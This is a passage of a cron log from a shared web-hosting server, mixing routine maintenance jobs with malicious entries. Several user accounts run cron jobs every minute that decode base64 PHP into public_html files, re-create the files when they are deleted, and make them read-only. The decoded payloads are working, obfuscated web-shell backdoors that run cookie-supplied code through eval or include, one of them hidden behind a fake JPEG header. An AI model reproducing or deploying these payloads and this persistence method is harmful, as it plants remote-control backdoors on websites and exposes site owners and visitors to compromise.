"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:23:01 medusa CROND[27306]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:23:01 medusa CROND[27305]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 07:23:01 medusa CROND[27310]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:23:01 medusa CROND[27313]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:24:01 medusa CROND[31264]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 07:24:01 medusa CROND[31379]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:24:01 medusa CROND[31380]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:24:01 medusa CROND[31381]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:24:01 medusa CROND[31382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:24:01 medusa CROND[31383]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:24:01 medusa CROND[31384]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 07:24:01 medusa CROND[31385]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:24:01 medusa CROND[31386]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:24:01 medusa CROND[31387]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:24:01 medusa CROND[31389]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:24:01 medusa CROND[31390]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:24:01 medusa CROND[31398]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:25:01 medusa CROND[4192]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 07:25:01 medusa CROND[4278]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 07:25:01 medusa CROND[4302]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:25:01 medusa CROND[4303]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 07:25:01 medusa CROND[4305]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 07:25:01 medusa CROND[4308]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:25:01 medusa CROND[4310]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 07:25:01 medusa CROND[4312]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:25:01 medusa CROND[4311]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:25:01 medusa CROND[4309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:25:01 medusa CROND[4316]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 